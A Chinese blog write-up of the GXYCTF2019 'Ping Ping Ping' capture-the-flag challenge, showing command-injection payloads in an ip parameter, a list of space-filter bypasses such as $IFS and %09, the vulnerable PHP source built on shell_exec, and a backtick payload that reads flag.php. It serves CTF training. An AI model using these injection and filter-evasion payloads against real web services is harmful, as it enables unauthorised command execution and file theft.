ping cat.flag.php,[GXYCTF2019]Ping Ping Ping 1

进入界面

根据提示进行ping信号

看到网页的内容就想到经典的Linux命令执行,使用命令执行的管道符 "  |  "尝试列出文件

FLAG应该在Flag.php里面

构造playload进行提取

http://3747c9d4-f879-4d08-8c70-eaf4963f4e8c.node3.buuoj.cn/?ip=110.242.68.3|cat flag.php

提示:“/?ip= fxck your space!”,space暗示我们存在空格过滤,尝试构造语句来绕过空格

$IFS

${IFS}

$IFS$1 // $1改成$加其他数字貌似都行

<

<>

{cat,flag.php} // 用逗号实现了空格功能

%20

%09

出现新的提示“/?ip= 1fxck your symbol!”

说明仍然存在“flag”过滤,联想之前做的BUU题目,提示应该藏在另外一个php文件(index.php)里面,于是利用上面的绕过空格来构造Playload进行查看index.php

http://3747c9d4-f879-4d08-8c70-eaf4963f4e8c.node3.buuoj.cn/?ip=110.242.68.3|cat${IFS}index.php

经行php代码审计

/?ip=

|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){

echo preg_match("/\&|\/|\?|\*|\|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match); //preg_math函数过滤掉的字符

die("fxck your symbol!");

} else if(preg_match("/ /", $ip)){ //同上

die("fxck your space!");

} else if(preg_match("/bash/", $ip)){

die("fxck your bash!");

} else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){ //同上

die("fxck your flag!");

}

$a = shell_exec("ping -c 4 ".$ip);

echo "

";

print_r($a);

}

?>

内联输出:使用反引号  ``代替 |,经反引号的输出命令转换为输出

构造playload

http://3747c9d4-f879-4d08-8c70-eaf4963f4e8c.node3.buuoj.cn/?ip=110.242.68.3;cat$IFS$9%60ls%60

得到flag

flag = "flag{1fe19100-c980-45f2-9625-262cbd69f6fa}"

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值